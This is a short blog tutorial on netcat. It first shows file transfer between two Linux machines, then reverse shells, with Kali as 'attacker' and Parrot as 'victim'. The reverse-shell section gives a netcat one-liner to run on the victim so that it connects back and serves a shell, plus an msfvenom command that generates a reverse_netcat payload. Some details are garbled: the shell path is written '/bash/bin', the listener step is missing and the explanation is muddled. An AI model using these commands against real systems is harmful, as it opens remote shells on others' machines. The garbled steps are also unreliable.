NETCAT FILE TRANSFER
WELCOME TO TAMILCODE
HERE IS TRICKS AND TECHNOLOGY
HOW TO TRANSFER THE FILE IN NETCAT?
First, we going to take two which is kali Linux (sender) and parrot os ( receiver) so
in this netcat series I have taken two machines of Linux
FIRST YOU WANT TO CREATE THE FILE TO SEND TO THE PARROT OS.
next, we going to set the listener in the kali machine which is sender here
nc -lvp 8080 < filname.txt
Next, we going to set the receiver in a parrot machine
nc 192.0.0.1 8080 > filename.txt ( give your attacker machine ip )
So netcat will transfer your file to the receiver which is a parrot machine ..... therefore this way to set the netcat in Linux machine ... same ways to set listener windows also
WHAT IS REVERSE SHELL?
A reverse shell is nothing but it is a shell which the attacker box restart from the target host
or victim host
now let us see how to take the reverse shell in the Linux machine
Now the KALI LINUX ( ATTACKER ) AND PARROT OS ( VICTIM )
METHOD 1:
First, we going to set the listener in the kali Linux machine
Next, we going to set the receiver in a parrot machine using the below command
nc 192.0.0.0 8080 -e /bash/bin
METHOD 2
So this is method 2 you use either this or that because sometimes the above connection
will not work for some time ...
msfvenom -p cmd/unix/reverse_netcat LHOST=192.0.0.0 LPORT=8080 R
by pasting the payload in payload in the parrot machine you will get a reverse connection
If like our article please be support us using the below button
0 Comments